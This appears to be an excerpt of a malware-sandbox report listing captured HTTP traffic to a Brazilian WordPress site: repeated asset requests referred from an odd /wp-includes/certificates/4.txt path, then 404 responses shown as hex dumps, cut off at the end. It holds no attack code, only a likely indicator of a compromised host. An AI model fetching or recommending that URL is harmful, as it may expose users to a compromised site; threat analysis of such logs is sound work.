Source: global trafficHTTP traffic detected: GET /wp-content/themes/theme51253/images/content_bg4.jpg HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/cherry-plugin/lib/js/FlexSlider/jquery.flexslider-min.js?ver=2.2.2 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/gtranslate/switcher.png HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/gtranslate/arrow_down.png HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/cherry-plugin/includes/js/cherry-plugin.js?ver=1.2.8.1 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/cherry-parallax/js/jquery.mousewheel.min.js?ver=3.0.6 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/cherry-parallax/js/jquery.simplr.smoothscroll.min.js?ver=1.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/cherry-parallax/js/device.min.js?ver=1.0.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/cherry-parallax/js/cherry.parallax.js?ver=1.0.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/contact-form-7/includes/js/scripts.js?ver=5.0.3 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/theme51253/js/custom-script.js?ver=1.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/CherryFramework/images/up-arrow.png HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/theme51253/js/chart.min.js?ver=1.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/theme51253/js/scrollShowTime.js?ver=1.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/CherryFramework/js/superfish.js?ver=1.5.3 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/CherryFramework/js/jquery.mobilemenu.js?ver=1.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/CherryFramework/js/jquery.magnific-popup.min.js?ver=0.9.3 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/CherryFramework/js/jplayer.playlist.min.js?ver=2.3.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/CherryFramework/js/jquery.jplayer.min.js?ver=2.6.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/CherryFramework/js/tmstickup.js?ver=1.0.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/CherryFramework/js/device.min.js?ver=1.0.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/CherryFramework/js/jquery.zaccordion.min.js?ver=2.1.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/CherryFramework/js/camera.min.js?ver=1.3.4 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-includes/js/wp-embed.min.js?ver=4.9.20 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49178
Source: unknownNetwork traffic detected: HTTP traffic on port 49178 -> 443
Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 16 Aug 2022 07:50:32 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://facextrade.com.br/wp-json/>; rel="https://api.w.org/"Connection: closeTransfer-Encoding: chunkedContent-Type: text/html; charset=UTF-8Data Raw: 31 30 34 66 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 36 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 37 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 38 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 39 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 39 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 28 67 74 20 49 45 20 39 29 7c 21 28 49 45 29 5d 3e 3c 21 2d 2d 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 68 65 61 64 3e 0a 09 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 7c 20 46 61 63 65 78 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 20 26 72 61 71 75 6f 3b 20 50 c3 a1 67 69 6e 61 20 6e c3 a3 6f 20 65 6e 63 6f 6e 74 72 61 64 61 20 7c 20 46 61 63 65 78 20 43 6f 6d c3 a9 72 63 69 6f 20 45 78 74 65 72 69 6f 72 20 4c 74 64 61 2e 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 20 2f 3e 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 74 68 65 6d 65 35 31 32 35 33 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 2f 3e 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 69 6e 67 62 61 63 6b 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 78 6d 6c 72 70 63 2e 70 68 70 22 20 2f 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 6c 74 65 72 6e 61 74 65 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 72 73 73 2b 78 6d 6c 22 20 74 69 74 6c 65 3d 22
Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 16 Aug 2022 07:50:37 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://facextrade.com.br/wp-json/>; rel="https://api.w.org/"Connection: closeTransfer-Encoding: chunkedContent-Type: text/html; charset=UTF-8Data Raw: 31 30 34 66 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 36 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 37 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 38 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 39 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 39 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 28 67 74 20 49 45 20 39 29 7c 21 28 49 45 29 5d 3e 3c 21 2d 2d 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 68 65 61 64 3e 0a 09 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 7c 20 46 61 63 65 78 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 20 26 72 61 71 75 6f 3b 20 50 c3 a1 67 69 6e 61 20 6e c3 a3 6f 20 65 6e 63 6f 6e 74 72 61 64 61 20 7c 20 46 61 63 65 78 20 43 6f 6d c3 a9 72 63 69 6f 20 45 78 74 65 72 69 6f 72 20 4c 74 64 61 2e 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 20 2f 3e 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 74 68 65 6d 65 35 31 32 35 33 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 2f 3e 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 69 6e 67 62 61 63 6b 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 78 6d 6c 72 70 63 2e 70 68 70 22 20 2f 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 6c 74 65 72 6e 61 74 65 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 72 73 73 2b 78 6d 6c 22 20 74 69 74 6c 65 3d 22
Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 16 Aug 2022 07:50:37 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://facextrade.com.br/wp-json/>; rel="https://api.w.org/"Connection: closeTransfer-Encoding: chunkedContent-Type: text/html; charset=UTF-8Data Raw: 31 30 34 66 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 36 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 37 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 38 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 39 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 39 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 28 67 74 20 49 45 20 39 29 7c 21 28 49 45 29 5d 3e 3c 21 2d 2d 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 68 65 61 64 3e 0a 09 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 7c 20 46 61 63 65 78 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 20 26 72 61 71 75 6f 3b 20 50 c3 a1 67 69 6e 61 20 6e c3 a3 6f 20 65 6e 63 6f 6e 74 72 61 64 61 20 7c 20 46 61 63 65 78 20 43 6f 6d c3 a9 72 63 69 6f 20 45 78 74 65 72 69 6f 72 20 4c 74 64 61 2e 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 20 2f 3e 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 74 68 65 6d 65 35 31 32 35 33 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 2f 3e 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 69 6e 67 62 61 63 6b 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 78 6d 6c 72 70 63 2e 70 68 70 22 20 2f 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 6c 74 65 72 6e 61 74 65 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 72 73 73 2b 78 6d 6c 22 20 74 69 74 6c 65 3d 22
Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 16 Aug 2022 07:50:43 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://facextrade.com.br/wp-json/>; rel="https://api.w.org/"Content-Type: text/html; charset=UTF-8X-Varnish: 14778394Age: 0Via: 1.1 varnish-v4Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 30 30 31 30 34 66 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 36 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 37 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 38 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 39 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 39 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 28 67 74 20 49 45 20 39 29 7c 21 28 49 45 29 5d 3e 3c 21 2d 2d 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 68 65 61 64 3e 0a 09 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 7c 20 46 61 63 65 78 3c 2f 74 69 